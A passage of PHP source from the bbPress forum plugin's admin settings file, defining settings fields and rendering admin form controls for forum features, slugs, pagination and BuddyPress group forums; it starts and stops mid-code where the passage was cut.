				'callback'          => 'bbp_converter_setting_callback_platform',
				'sanitize_callback' => 'sanitize_text_field',
				'args'              => array( 'label_for'=> '_bbp_converter_platform' )
			),

			// Database Server
			'_bbp_converter_db_server' => array(
				'title'             => esc_html__( 'Database Server', 'bbpress' ),
				'callback'          => 'bbp_converter_setting_callback_dbserver',
				'sanitize_callback' => 'sanitize_text_field',
				'args'              => array( 'label_for'=> '_bbp_converter_db_server' )
			),

			// Database Server Port
			'_bbp_converter_db_port' => array(
				'title'             => esc_html__( 'Database Port', 'bbpress' ),
				'callback'          => 'bbp_converter_setting_callback_dbport',
				'sanitize_callback' => 'intval',
				'args'              => array( 'label_for'=> '_bbp_converter_db_port' )
			),

			// Database Name
			'_bbp_converter_db_name' => array(
				'title'             => esc_html__( 'Database Name', 'bbpress' ),
				'callback'          => 'bbp_converter_setting_callback_dbname',
				'sanitize_callback' => 'sanitize_text_field',
				'args'              => array( 'label_for'=> '_bbp_converter_db_name' )
			),

			// Database User
			'_bbp_converter_db_user' => array(
				'title'             => esc_html__( 'Database User', 'bbpress' ),
				'callback'          => 'bbp_converter_setting_callback_dbuser',
				'sanitize_callback' => 'sanitize_text_field',
				'args'              => array( 'label_for'=> '_bbp_converter_db_user' )
			),

			// Database Password
			'_bbp_converter_db_pass' => array(
				'title'             => esc_html__( 'Database Password', 'bbpress' ),
				'callback'          => 'bbp_converter_setting_callback_dbpass',
				'sanitize_callback' => 'sanitize_text_field',
				'args'              => array( 'label_for'=> '_bbp_converter_db_pass' )
			),

			// Database Prefix
			'_bbp_converter_db_prefix' => array(
				'title'             => esc_html__( 'Table Prefix', 'bbpress' ),
				'callback'          => 'bbp_converter_setting_callback_dbprefix',
				'sanitize_callback' => 'sanitize_text_field',
				'args'              => array( 'label_for'=> '_bbp_converter_db_prefix' )
			)
		),

		// Options
		'bbp_converter_options' => array(

			// Rows Limit
			'_bbp_converter_rows' => array(
				'title'             => esc_html__( 'Rows Limit', 'bbpress' ),
				'callback'          => 'bbp_converter_setting_callback_rows',
				'sanitize_callback' => 'intval',
				'args'              => array( 'label_for'=> '_bbp_converter_rows' )
			),

			// Delay Time
			'_bbp_converter_delay_time' => array(
				'title'             => esc_html__( 'Delay Time', 'bbpress' ),
				'callback'          => 'bbp_converter_setting_callback_delay_time',
				'sanitize_callback' => 'intval',
				'args'              => array( 'label_for'=> '_bbp_converter_delay_time' )
			),

			// Convert Users
			'_bbp_converter_convert_users' => array(
				'title'             => esc_html__( 'Convert Users', 'bbpress' ),
				'callback'          => 'bbp_converter_setting_callback_convert_users',
				'sanitize_callback' => 'intval',
				'args'              => array( 'label_for'=> '_bbp_converter_convert_users' )
			),

			// Halt
			'_bbp_converter_halt' => array(
				'title'             => esc_html__( 'Stop on Error', 'bbpress' ),
				'callback'          => 'bbp_converter_setting_callback_halt',
				'sanitize_callback' => 'intval',
				'args'              => array( 'label_for'=> '_bbp_converter_halt' )
			),

			// Restart
			'_bbp_converter_restart' => array(
				'title'             => esc_html__( 'Start Over', 'bbpress' ),
				'callback'          => 'bbp_converter_setting_callback_restart',
				'sanitize_callback' => 'intval',
				'args'              => array( 'label_for'=> '_bbp_converter_restart' )
			),

			// Clean
			'_bbp_converter_clean' => array(
				'title'             => esc_html__( 'Helper Data', 'bbpress' ),
				'callback'          => 'bbp_converter_setting_callback_clean',
				'sanitize_callback' => 'intval',
				'args'              => array( 'label_for'=> '_bbp_converter_clean' )
			)
		)
	) );
}

/**
 * Get settings fields by section.
 *
 * @since 2.1.0 bbPress (r4001)
 *
 * @param string $section_id ID of the section to get fields for
 * @staticvar array $fields All of the available fields
 * @return mixed False if section is invalid, array of fields otherwise.
 */
function bbp_admin_get_settings_fields_for_section( $section_id = '' ) {
	static $fields = array();

	// Default return value
	$retval = array();

	// Bail if section is empty
	if ( empty( $section_id ) ) {
		return false;
	}

	// Get all of the fields (so we can snag one section of them)
	if ( empty( $fields ) ) {
		$fields = bbp_admin_get_settings_fields();
	}

	// Get the field by section
	if ( isset( $fields[ $section_id ] ) ) {
		$retval = $fields[ $section_id ];
	}

	// Filter & return
	return (array) apply_filters( 'bbp_admin_get_settings_fields_for_section', $retval, $section_id );
}

/** User Section **************************************************************/

/**
 * User settings section description for the settings page
 *
 * @since 2.0.0 bbPress (r2786)
 */
function bbp_admin_setting_callback_user_section() {
?>

	<p><?php esc_html_e( 'Setting time limits and other user posting capabilities', 'bbpress' ); ?></p>

<?php
}


/**
 * Edit lock setting field
 *
 * @since 2.0.0 bbPress (r2737)
 */
function bbp_admin_setting_callback_editlock() {

	// Start the output buffer for the second option
	ob_start(); ?>

	</label>
	<label for="_bbp_edit_lock">
		<input name="_bbp_edit_lock" id="_bbp_edit_lock" type="number" min="0" step="1" value="<?php bbp_form_option( '_bbp_edit_lock', '5' ); ?>" class="small-text"<?php bbp_maybe_admin_setting_disabled( '_bbp_edit_lock' ); ?> />

	<?php $select = ob_get_clean(); ?>

	<label for="_bbp_allow_content_edit">
		<input name="_bbp_allow_content_edit" id="_bbp_allow_content_edit" type="checkbox" value="1" <?php checked( bbp_allow_content_edit( true ) ); bbp_maybe_admin_setting_disabled( '_bbp_allow_content_edit' ); ?> />
		<?php printf( esc_html__( 'Allow users to edit their content for %s minutes after posting', 'bbpress' ), $select ); ?>
	</label>
	<p class="description"><?php esc_html_e( 'If checked, setting to "0 minutes" allows editing forever.', 'bbpress' ); ?></p>

<?php
}

/**
 * Throttle setting field
 *
 * @since 2.0.0 bbPress (r2737)
 */
function bbp_admin_setting_callback_throttle() {

	// Start the output buffer for the second option
	ob_start(); ?>

	</label>
	<label for="_bbp_throttle_time">
		<input name="_bbp_throttle_time" id="_bbp_throttle_time" type="number" min="0" step="1" value="<?php bbp_form_option( '_bbp_throttle_time', '10' ); ?>" class="small-text"<?php bbp_maybe_admin_setting_disabled( '_bbp_throttle_time' ); ?> />

	<?php $select = ob_get_clean(); ?>

	<label for="_bbp_allow_content_throttle">
		<input name="_bbp_allow_content_throttle" id="_bbp_allow_content_throttle" type="checkbox" value="1" <?php checked( bbp_allow_content_throttle( true ) ); bbp_maybe_admin_setting_disabled( '_bbp_allow_content_throttle' ); ?> />
		<?php printf( esc_html__( 'Allow flood protection by throttling users for %s seconds after posting', 'bbpress' ), $select ); ?>
	</label>
	<p class="description"><?php esc_html_e( 'Use this to discourage users from spamming your forums.', 'bbpress' ); ?></p>

<?php
}

/**
 * Allow anonymous posting setting field
 *
 * @since 2.0.0 bbPress (r2737)
 */
function bbp_admin_setting_callback_anonymous() {
?>

	<input name="_bbp_allow_anonymous" id="_bbp_allow_anonymous" type="checkbox" value="1" <?php checked( bbp_allow_anonymous( false ) ); bbp_maybe_admin_setting_disabled( '_bbp_allow_anonymous' ); ?> />
	<label for="_bbp_allow_anonymous"><?php esc_html_e( 'Allow guest users without accounts to create topics and replies', 'bbpress' ); ?></label>
	<p class="description"><?php esc_html_e( 'Works best on intranets or paired with antispam measures like Akismet.', 'bbpress' ); ?></p>

<?php
}

/**
 * Allow global access setting field
 *
 * @since 2.0.0 bbPress (r3378)
 */
function bbp_admin_setting_callback_global_access() {

	// Get the default role once rather than loop repeatedly below
	$default_role = bbp_get_default_role();
	$roles        = bbp_get_dynamic_roles();

	// Start the output buffer for the select dropdown
	ob_start(); ?>

	</label>
	<label for="_bbp_default_role">
		<select name="_bbp_default_role" id="_bbp_default_role" <?php bbp_maybe_admin_setting_disabled( '_bbp_default_role' ); ?>>
		<?php foreach ( $roles as $role => $details ) : ?>

			<option <?php selected( $default_role, $role ); ?> value="<?php echo esc_attr( $role ); ?>"><?php echo bbp_translate_user_role( $details['name'] ); ?></option>

		<?php endforeach; ?>
		</select>

	<?php $select = ob_get_clean(); ?>

	<label for="_bbp_allow_global_access">
		<input name="_bbp_allow_global_access" id="_bbp_allow_global_access" type="checkbox" value="1" <?php checked( bbp_allow_global_access( true ) ); bbp_maybe_admin_setting_disabled( '_bbp_allow_global_access' ); ?> />
		<?php printf( esc_html__( 'Automatically give registered visitors the %s forum role', 'bbpress' ), $select ); ?>
	</label>
	<p class="description"><?php esc_html_e( 'Uncheck this to manually assign all user access to your forums.', 'bbpress' ); ?></p>

<?php
}

/** Features Section **********************************************************/

/**
 * Features settings section description for the settings page
 *
 * @since 2.0.0 bbPress (r2786)
 */
function bbp_admin_setting_callback_features_section() {
?>

	<p><?php esc_html_e( 'Forum features that can be toggled on and off', 'bbpress' ); ?></p>

<?php
}

/**
 * Allow favorites setting field
 *
 * @since 2.0.0 bbPress (r2786)
 */
function bbp_admin_setting_callback_favorites() {
?>

	<input name="_bbp_enable_favorites" id="_bbp_enable_favorites" type="checkbox" value="1" <?php checked( bbp_is_favorites_active( true ) ); bbp_maybe_admin_setting_disabled( '_bbp_enable_favorites' ); ?> />
	<label for="_bbp_enable_favorites"><?php esc_html_e( 'Allow users to mark topics as favorites', 'bbpress' ); ?></label>

<?php
}

/**
 * Allow subscriptions setting field
 *
 * @since 2.0.0 bbPress (r2737)
 */
function bbp_admin_setting_callback_subscriptions() {
?>

	<input name="_bbp_enable_subscriptions" id="_bbp_enable_subscriptions" type="checkbox" value="1" <?php checked( bbp_is_subscriptions_active( true ) ); bbp_maybe_admin_setting_disabled( '_bbp_enable_subscriptions' ); ?> />
	<label for="_bbp_enable_subscriptions"><?php esc_html_e( 'Allow users to subscribe to forums and topics', 'bbpress' ); ?></label>

<?php
}

/**
 * Allow engagements setting field
 *
 * @since 2.0.0 bbPress (r2737)
 */
function bbp_admin_setting_callback_engagements() {
?>

	<input name="_bbp_enable_engagements" id="_bbp_enable_engagements" type="checkbox" value="1" <?php checked( bbp_is_engagements_active( true ) ); bbp_maybe_admin_setting_disabled( '_bbp_enable_engagements' ); ?> />
	<label for="_bbp_enable_engagements"><?php esc_html_e( 'Allow tracking of topics each user engages in', 'bbpress' ); ?></label>

<?php
}

/**
 * Allow topic tags setting field
 *
 * @since 2.4.0 bbPress (r4944)
 */
function bbp_admin_setting_callback_topic_tags() {
?>

	<input name="_bbp_allow_topic_tags" id="_bbp_allow_topic_tags" type="checkbox" value="1" <?php checked( bbp_allow_topic_tags( true ) ); bbp_maybe_admin_setting_disabled( '_bbp_allow_topic_tags' ); ?> />
	<label for="_bbp_allow_topic_tags"><?php esc_html_e( 'Allow topics to have tags', 'bbpress' ); ?></label>

<?php
}

/**
 * Allow forum-mods setting field
 *
 * @since 2.6.0 bbPress (r5834)
 */
function bbp_admin_setting_callback_forum_mods() {
?>

	<input name="_bbp_allow_forum_mods" id="_bbp_allow_forum_mods" type="checkbox" value="1" <?php checked( bbp_allow_forum_mods( true ) ); bbp_maybe_admin_setting_disabled( '_bbp_allow_forum_mods' ); ?> />
	<label for="_bbp_allow_forum_mods"><?php esc_html_e( 'Allow forums to have dedicated moderators', 'bbpress' ); ?></label>
	<p class="description"><?php esc_html_e( 'This does not include the ability to edit users.', 'bbpress' ); ?></p>

<?php
}

/**
 * Allow super-mods setting field
 *
 * @since 2.6.0 bbPress (r6562)
 */
function bbp_admin_setting_callback_super_mods() {
?>

	<input name="_bbp_allow_super_mods" id="_bbp_allow_super_mods" type="checkbox" value="1" <?php checked( bbp_allow_super_mods( false ) ); bbp_maybe_admin_setting_disabled( '_bbp_allow_super_mods' ); ?> />
	<label for="_bbp_allow_super_mods"><?php esc_html_e( 'Allow Moderators and Keymasters to edit users', 'bbpress' ); ?></label>
	<p class="description"><?php esc_html_e( 'This includes roles, passwords, and email addresses.', 'bbpress' ); ?></p>

<?php
}

/**
 * Allow forum wide search
 *
 * @since 2.4.0 bbPress (r4970)
 */
function bbp_admin_setting_callback_search() {
?>

	<input name="_bbp_allow_search" id="_bbp_allow_search" type="checkbox" value="1" <?php checked( bbp_allow_search( true ) ); bbp_maybe_admin_setting_disabled( '_bbp_allow_search' ); ?> />
	<label for="_bbp_allow_search"><?php esc_html_e( 'Allow forum wide search', 'bbpress' ); ?></label>

<?php
}

/**
 * Hierarchical reply maximum depth level setting field
 *
 * Replies will be threaded if depth is 2 or greater
 *
 * @since 2.4.0 bbPress (r4944)
 */
function bbp_admin_setting_callback_thread_replies_depth() {

	// Set maximum depth for dropdown
	$max_depth     = (int) apply_filters( 'bbp_thread_replies_depth_max', 10 );
	$current_depth = bbp_thread_replies_depth();

	// Start an output buffer for the select dropdown
	ob_start(); ?>

	</label>
	<label for="_bbp_thread_replies_depth">
		<select name="_bbp_thread_replies_depth" id="_bbp_thread_replies_depth" <?php bbp_maybe_admin_setting_disabled( '_bbp_thread_replies_depth' ); ?>>
		<?php for ( $i = 2; $i <= $max_depth; $i++ ) : ?>

			<option value="<?php echo esc_attr( $i ); ?>" <?php selected( $i, $current_depth ); ?>><?php echo esc_html( $i ); ?></option>

		<?php endfor; ?>
		</select>

	<?php $select = ob_get_clean(); ?>

	<label for="_bbp_allow_threaded_replies">
		<input name="_bbp_allow_threaded_replies" id="_bbp_allow_threaded_replies" type="checkbox" value="1" <?php checked( '1', bbp_allow_threaded_replies( false ) ); bbp_maybe_admin_setting_disabled( '_bbp_allow_threaded_replies' ); ?> />
		<?php printf( esc_html__( 'Enable threaded (nested) replies %s levels deep', 'bbpress' ), $select ); ?>
	</label>

<?php
}

/**
 * Allow topic and reply revisions
 *
 * @since 2.0.0 bbPress (r3412)
 */
function bbp_admin_setting_callback_revisions() {
?>

	<input name="_bbp_allow_revisions" id="_bbp_allow_revisions" type="checkbox" value="1" <?php checked( bbp_allow_revisions( true ) ); bbp_maybe_admin_setting_disabled( '_bbp_allow_revisions' ); ?> />
	<label for="_bbp_allow_revisions"><?php esc_html_e( 'Allow topic and reply revision logging', 'bbpress' ); ?></label>

<?php
}

/**
 * Use the WordPress editor setting field
 *
 * @since 2.1.0 bbPress (r3586)
 */
function bbp_admin_setting_callback_use_wp_editor() {
?>

	<input name="_bbp_use_wp_editor" id="_bbp_use_wp_editor" type="checkbox" value="1" <?php checked( bbp_use_wp_editor( true ) ); bbp_maybe_admin_setting_disabled( '_bbp_use_wp_editor' ); ?> />
	<label for="_bbp_use_wp_editor"><?php esc_html_e( 'Add toolbar & buttons to textareas to help with HTML formatting', 'bbpress' ); ?></label>

<?php
}

/**
 * Main subtheme section
 *
 * @since 2.0.0 bbPress (r2786)
 */
function bbp_admin_setting_callback_subtheme_section() {
?>

	<p><?php esc_html_e( 'How your forum content is displayed within your existing theme.', 'bbpress' ); ?></p>

<?php
}

/**
 * Use the WordPress editor setting field
 *
 * @since 2.1.0 bbPress (r3586)
 */
function bbp_admin_setting_callback_subtheme_id() {

	// Declare locale variable
	$theme_options   = '';
	$current_package = bbp_get_theme_package_id( 'default' );

	// Note: This should never be empty. /templates/ is the
	// canonical backup if no other packages exist. If there's an error here,
	// something else is wrong.
	//
	// @see bbPress::register_theme_packages()
	foreach ( (array) bbpress()->theme_compat->packages as $id => $theme ) {
		$theme_options .= '<option value="' . esc_attr( $id ) . '"' . selected( $theme->id, $current_package, false ) . '>' . esc_html( $theme->name ) . '</option>';
	}

	if ( ! empty( $theme_options ) ) : ?>

		<select name="_bbp_theme_package_id" id="_bbp_theme_package_id" <?php bbp_maybe_admin_setting_disabled( '_bbp_theme_package_id' ); ?>><?php echo $theme_options; ?></select>
		<label for="_bbp_theme_package_id"><?php esc_html_e( 'will serve all bbPress templates', 'bbpress' ); ?></label>

	<?php else : ?>

		<p><?php esc_html_e( 'No template packages available.', 'bbpress' ); ?></p>

	<?php endif;
}

/**
 * Allow oEmbed in replies
 *
 * @since 2.1.0 bbPress (r3752)
 */
function bbp_admin_setting_callback_use_autoembed() {
?>

	<input name="_bbp_use_autoembed" id="_bbp_use_autoembed" type="checkbox" value="1" <?php checked( bbp_use_autoembed( true ) ); bbp_maybe_admin_setting_disabled( '_bbp_use_autoembed' ); ?> />
	<label for="_bbp_use_autoembed"><?php esc_html_e( 'Embed media (YouTube, Twitter, Flickr, etc...) directly into topics and replies', 'bbpress' ); ?></label>

<?php
}

/** Per Page Section **********************************************************/

/**
 * Per page settings section description for the settings page
 *
 * @since 2.0.0 bbPress (r2786)
 */
function bbp_admin_setting_callback_per_page_section() {
?>

	<p><?php esc_html_e( 'How many topics and replies to show per page', 'bbpress' ); ?></p>

<?php
}

/**
 * Topics per page setting field
 *
 * @since 2.0.0 bbPress (r2786)
 */
function bbp_admin_setting_callback_topics_per_page() {
?>

	<input name="_bbp_topics_per_page" id="_bbp_topics_per_page" type="number" min="1" step="1" value="<?php bbp_form_option( '_bbp_topics_per_page', '15' ); ?>" class="small-text"<?php bbp_maybe_admin_setting_disabled( '_bbp_topics_per_page' ); ?> />
	<?php esc_html_e( 'per page', 'bbpress' ); ?>

<?php
}

/**
 * Replies per page setting field
 *
 * @since 2.0.0 bbPress (r2786)
 */
function bbp_admin_setting_callback_replies_per_page() {
?>

	<input name="_bbp_replies_per_page" id="_bbp_replies_per_page" type="number" min="1" step="1" value="<?php bbp_form_option( '_bbp_replies_per_page', '15' ); ?>" class="small-text"<?php bbp_maybe_admin_setting_disabled( '_bbp_replies_per_page' ); ?> />
	<?php esc_html_e( 'per page', 'bbpress' ); ?>

<?php
}

/** Per RSS Page Section ******************************************************/

/**
 * Per page settings section description for the settings page
 *
 * @since 2.0.0 bbPress (r2786)
 */
function bbp_admin_setting_callback_per_rss_page_section() {
?>

	<p><?php esc_html_e( 'How many topics and replies to show per RSS page', 'bbpress' ); ?></p>

<?php
}

/**
 * Topics per RSS page setting field
 *
 * @since 2.0.0 bbPress (r2786)
 */
function bbp_admin_setting_callback_topics_per_rss_page() {
?>

	<input name="_bbp_topics_per_rss_page" id="_bbp_topics_per_rss_page" type="number" min="1" step="1" value="<?php bbp_form_option( '_bbp_topics_per_rss_page', '25' ); ?>" class="small-text"<?php bbp_maybe_admin_setting_disabled( '_bbp_topics_per_rss_page' ); ?> />
	<?php esc_html_e( 'per page', 'bbpress' ); ?>

<?php
}

/**
 * Replies per RSS page setting field
 *
 * @since 2.0.0 bbPress (r2786)
 */
function bbp_admin_setting_callback_replies_per_rss_page() {
?>

	<input name="_bbp_replies_per_rss_page" id="_bbp_replies_per_rss_page" type="number" min="1" step="1" value="<?php bbp_form_option( '_bbp_replies_per_rss_page', '25' ); ?>" class="small-text"<?php bbp_maybe_admin_setting_disabled( '_bbp_replies_per_rss_page' ); ?> />
	<?php esc_html_e( 'per page', 'bbpress' ); ?>

<?php
}

/** Slug Section **************************************************************/

/**
 * Slugs settings section description for the settings page
 *
 * @since 2.0.0 bbPress (r2786)
 */
function bbp_admin_setting_callback_root_slug_section() {

	// Flush rewrite rules when this section is saved
	if ( isset( $_GET['settings-updated'] ) && isset( $_GET['page'] ) ) {
		flush_rewrite_rules();
	} ?>

	<p><?php esc_html_e( 'Customize your Forums root. Partner with a WordPress Page and use Shortcodes for more flexibility.', 'bbpress' ); ?></p>

<?php
}

/**
 * Root slug setting field
 *
 * @since 2.0.0 bbPress (r2786)
 */
function bbp_admin_setting_callback_root_slug() {
?>

	<input name="_bbp_root_slug" id="_bbp_root_slug" type="text" class="regular-text code" value="<?php bbp_form_option( '_bbp_root_slug', 'forums', true ); ?>"<?php bbp_maybe_admin_setting_disabled( '_bbp_root_slug' ); ?> />

<?php
	// Slug Check
	bbp_form_slug_conflict_check( '_bbp_root_slug', 'forums' );
}

/**
 * Include root slug setting field
 *
 * @since 2.0.0 bbPress (r2786)
 */
function bbp_admin_setting_callback_include_root() {
?>

	<input name="_bbp_include_root" id="_bbp_include_root" type="checkbox" value="1" <?php checked( bbp_include_root_slug() ); bbp_maybe_admin_setting_disabled( '_bbp_include_root' ); ?> />
	<label for="_bbp_include_root"><?php esc_html_e( 'Prefix all forum content with the Forum Root slug (Recommended)', 'bbpress' ); ?></label>

<?php
}

/**
 * Include root slug setting field
 *
 * @since 2.0.0 bbPress (r2786)
 */
function bbp_admin_setting_callback_show_on_root() {

	// Current setting
	$show_on_root = bbp_show_on_root();

	// Options for forum root output
	$root_options = array(
		'forums' => array(
			'name' => esc_attr__( 'Forum Index', 'bbpress' )
		),
		'topics' => array(
			'name' => esc_attr__( 'Topics by Last Post', 'bbpress' )
		)
	); ?>

	<select name="_bbp_show_on_root" id="_bbp_show_on_root" <?php bbp_maybe_admin_setting_disabled( '_bbp_show_on_root' ); ?>>

		<?php foreach ( $root_options as $option_id => $details ) : ?>

			<option <?php selected( $show_on_root, $option_id ); ?> value="<?php echo esc_attr( $option_id ); ?>"><?php echo esc_html( $details['name'] ); ?></option>

		<?php endforeach; ?>

	</select>

	<?php

	// Look for theme support
	$forum_archive = basename( bbp_get_forum_archive_template() );

	// This setting doesn't work if the theme has an archive-forum.php template.
	if ( ! empty( $forum_archive ) ) : ?>

		<p class="description"><?php printf( esc_html__( 'This setting will be ignored because %s was found in your theme.', 'bbpress' ), '<code>' . $forum_archive . '</code>' ); ?></p>

	<?php endif;
}

/** User Slug Section *********************************************************/

/**
 * Slugs settings section description for the settings page
 *
 * @since 2.0.0 bbPress (r2786)
 */
function bbp_admin_setting_callback_user_slug_section() {
?>

	<p><?php esc_html_e( 'Customize your user profile slugs.', 'bbpress' ); ?></p>

<?php
}

/**
 * User slug setting field
 *
 * @since 2.0.0 bbPress (r2786)
 */
function bbp_admin_setting_callback_user_slug() {
?>

	<input name="_bbp_user_slug" id="_bbp_user_slug" type="text" class="regular-text code" value="<?php bbp_form_option( '_bbp_user_slug', 'users', true ); ?>"<?php bbp_maybe_admin_setting_disabled( '_bbp_user_slug' ); ?> />

<?php
	// Slug Check
	bbp_form_slug_conflict_check( '_bbp_user_slug', 'users' );
}

/**
 * Topic archive slug setting field
 *
 * @since 2.0.0 bbPress (r2786)
 */
function bbp_admin_setting_callback_topic_archive_slug() {
?>

	<input name="_bbp_topic_archive_slug" id="_bbp_topic_archive_slug" type="text" class="regular-text code" value="<?php bbp_form_option( '_bbp_topic_archive_slug', 'topics', true ); ?>"<?php bbp_maybe_admin_setting_disabled( '_bbp_topic_archive_slug' ); ?> />

<?php
	// Slug Check
	bbp_form_slug_conflict_check( '_bbp_topic_archive_slug', 'topics' );
}

/**
 * Reply archive slug setting field
 *
 * @since 2.4.0 bbPress (r4932)
 */
function bbp_admin_setting_callback_reply_archive_slug() {
?>

	<input name="_bbp_reply_archive_slug" id="_bbp_reply_archive_slug" type="text" class="regular-text code" value="<?php bbp_form_option( '_bbp_reply_archive_slug', 'replies', true ); ?>"<?php bbp_maybe_admin_setting_disabled( '_bbp_reply_archive_slug' ); ?> />

<?php
	// Slug Check
	bbp_form_slug_conflict_check( '_bbp_reply_archive_slug', 'replies' );
}

/**
 * Favorites slug setting field
 *
 * @since 2.4.0 bbPress (r4932)
 */
function bbp_admin_setting_callback_user_favs_slug() {
?>

	<input name="_bbp_user_favs_slug" id="_bbp_user_favs_slug" type="text" class="regular-text code" value="<?php bbp_form_option( '_bbp_user_favs_slug', 'favorites', true ); ?>"<?php bbp_maybe_admin_setting_disabled( '_bbp_user_favs_slug' ); ?> />

<?php
	// Slug Check
	bbp_form_slug_conflict_check( '_bbp_user_favs_slug', 'favorites' );
}

/**
 * Subscriptions slug setting field
 *
 * @since 2.4.0 bbPress (r4932)
 */
function bbp_admin_setting_callback_user_subs_slug() {
?>

	<input name="_bbp_user_subs_slug" id="_bbp_user_subs_slug" type="text" class="regular-text code" value="<?php bbp_form_option( '_bbp_user_subs_slug', 'subscriptions', true ); ?>"<?php bbp_maybe_admin_setting_disabled( '_bbp_user_subs_slug' ); ?> />

<?php
	// Slug Check
	bbp_form_slug_conflict_check( '_bbp_user_subs_slug', 'subscriptions' );
}

/**
 * Engagements slug setting field
 *
 * @since 2.6.0 bbPress (r6320)
 */
function bbp_admin_setting_callback_user_engagements_slug() {
?>

	<input name="_bbp_user_engs_slug" id="_bbp_user_engs_slug" type="text" class="regular-text code" value="<?php bbp_form_option( '_bbp_user_engs_slug', 'engagements', true ); ?>"<?php bbp_maybe_admin_setting_disabled( '_bbp_user_engs_slug' ); ?> />

<?php
	// Slug Check
	bbp_form_slug_conflict_check( '_bbp_user_engs_slug', 'engagements' );
}

/** Single Slugs **************************************************************/

/**
 * Slugs settings section description for the settings page
 *
 * @since 2.0.0 bbPress (r2786)
 */
function bbp_admin_setting_callback_single_slug_section() {
?>

	<p><?php printf( esc_html__( 'Custom slugs for single forums, topics, replies, tags, views, edit, and search.', 'bbpress' ), get_admin_url( null, 'options-permalink.php' ) ); ?></p>

<?php
}

/**
 * Forum slug setting field
 *
 * @since 2.0.0 bbPress (r2786)
 */
function bbp_admin_setting_callback_forum_slug() {
?>

	<input name="_bbp_forum_slug" id="_bbp_forum_slug" type="text" class="regular-text code" value="<?php bbp_form_option( '_bbp_forum_slug', 'forum', true ); ?>"<?php bbp_maybe_admin_setting_disabled( '_bbp_forum_slug' ); ?> />

<?php
	// Slug Check
	bbp_form_slug_conflict_check( '_bbp_forum_slug', 'forum' );
}

/**
 * Topic slug setting field
 *
 * @since 2.0.0 bbPress (r2786)
 */
function bbp_admin_setting_callback_topic_slug() {
?>

	<input name="_bbp_topic_slug" id="_bbp_topic_slug" type="text" class="regular-text code" value="<?php bbp_form_option( '_bbp_topic_slug', 'topic', true ); ?>"<?php bbp_maybe_admin_setting_disabled( '_bbp_topic_slug' ); ?> />

<?php
	// Slug Check
	bbp_form_slug_conflict_check( '_bbp_topic_slug', 'topic' );
}

/**
 * Reply slug setting field
 *
 * @since 2.0.0 bbPress (r2786)
 */
function bbp_admin_setting_callback_reply_slug() {
?>

	<input name="_bbp_reply_slug" id="_bbp_reply_slug" type="text" class="regular-text code" value="<?php bbp_form_option( '_bbp_reply_slug', 'reply', true ); ?>"<?php bbp_maybe_admin_setting_disabled( '_bbp_reply_slug' ); ?> />

<?php
	// Slug Check
	bbp_form_slug_conflict_check( '_bbp_reply_slug', 'reply' );
}

/**
 * Topic tag slug setting field
 *
 * @since 2.0.0 bbPress (r2786)
 */
function bbp_admin_setting_callback_topic_tag_slug() {
?>

	<input name="_bbp_topic_tag_slug" id="_bbp_topic_tag_slug" type="text" class="regular-text code" value="<?php bbp_form_option( '_bbp_topic_tag_slug', 'topic-tag', true ); ?>"<?php bbp_maybe_admin_setting_disabled( '_bbp_topic_tag_slug' ); ?> />

<?php

	// Slug Check
	bbp_form_slug_conflict_check( '_bbp_topic_tag_slug', 'topic-tag' );
}

/**
 * View slug setting field
 *
 * @since 2.0.0 bbPress (r2789)
 */
function bbp_admin_setting_callback_view_slug() {
?>

	<input name="_bbp_view_slug" id="_bbp_view_slug" type="text" class="regular-text code" value="<?php bbp_form_option( '_bbp_view_slug', 'view', true ); ?>"<?php bbp_maybe_admin_setting_disabled( '_bbp_view_slug' ); ?> />

<?php
	// Slug Check
	bbp_form_slug_conflict_check( '_bbp_view_slug', 'view' );
}

/**
 * Search slug setting field
 *
 * @since 2.3.0 bbPress (r4579)
 */
function bbp_admin_setting_callback_search_slug() {
?>

	<input name="_bbp_search_slug" id="_bbp_search_slug" type="text" class="regular-text code" value="<?php bbp_form_option( '_bbp_search_slug', 'search', true ); ?>"<?php bbp_maybe_admin_setting_disabled( '_bbp_search_slug' ); ?> />

<?php
	// Slug Check
	bbp_form_slug_conflict_check( '_bbp_search_slug', 'search' );
}

/**
 * Edit slug setting field
 *
 * @since 2.6.2 bbPress (r6965)
 */
function bbp_admin_setting_callback_edit_slug() {
?>

	<input name="_bbp_edit_slug" id="_bbp_edit_slug" type="text" class="regular-text code" value="<?php bbp_form_option( '_bbp_edit_slug', 'edit', true ); ?>"<?php bbp_maybe_admin_setting_disabled( '_bbp_edit_slug' ); ?> />

<?php
	// Slug Check
	bbp_form_slug_conflict_check( '_bbp_edit_slug', 'edit' );
}

/** BuddyPress ****************************************************************/

/**
 * Extension settings section description for the settings page
 *
 * @since 2.1.0 bbPress (r3575)
 */
function bbp_admin_setting_callback_buddypress_section() {
?>

	<p><?php esc_html_e( 'Forum settings for BuddyPress', 'bbpress' ); ?></p>

<?php
}

/**
 * Allow BuddyPress group forums setting field
 *
 * @since 2.1.0 bbPress (r3575)
 */
function bbp_admin_setting_callback_group_forums() {
?>

	<input name="_bbp_enable_group_forums" id="_bbp_enable_group_forums" type="checkbox" value="1" <?php checked( bbp_is_group_forums_active( true ) ); bbp_maybe_admin_setting_disabled( '_bbp_enable_group_forums' ); ?> />
	<label for="_bbp_enable_group_forums"><?php esc_html_e( 'Allow BuddyPress Groups to have their own forums', 'bbpress' ); ?></label>

<?php
}

/**
 * Replies per page setting field
 *
 * @since 2.1.0 bbPress (r3575)
 */
function bbp_admin_setting_callback_group_forums_root_id() {

	// Group root ID
	$group_root = bbp_get_group_forums_root_id();
	if ( ! bbp_get_forum( $group_root ) ) {
		delete_option( '_bbp_group_forums_root_id' );
		$group_root = 0;
	}

	// Output the dropdown for all forums
	$select = bbp_get_dropdown( array(
		'selected'           => $group_root,
		'show_none'          => esc_html__( '&mdash; No parent &mdash;', 'bbpress' ),
		'orderby'            => 'title',
		'order'              => 'ASC',
		'select_id'          => '_bbp_group_forums_root_id',
		'disable_categories' => false,
		'disabled'           => '_bbp_group_forums_root_id'
	) );

	// Check cap one time
	$can_add_new = current_user_can( 'publish_forums' );
	$button = '';

	// Text variations based on configuration
	if ( empty( $group_root ) && ( true === $can_add_new ) ) {

		// New URL
		$new_url = wp_nonce_url( add_query_arg( array(
			'page'   => 'bbpress',
			'create' => 'bbp-group-forum-root'
		), admin_url( 'options-general.php' ) ), '_bbp_group_forums_root_id' );

		// Button & text
		$button = '<a href="' . esc_url( $new_url ) . '">' . esc_html__( 'create a new one', 'bbpress' ) . '</a>';
		$text   = esc_html__( 'Use %s to contain your group forums, or %s', 'bbpress' ); //phpcs:ignore
	} else {
		$text = esc_html__( 'Use %s to contain your group forums', 'bbpress' );
	}

	// Output
	printf( $text, $select, $button ); ?>
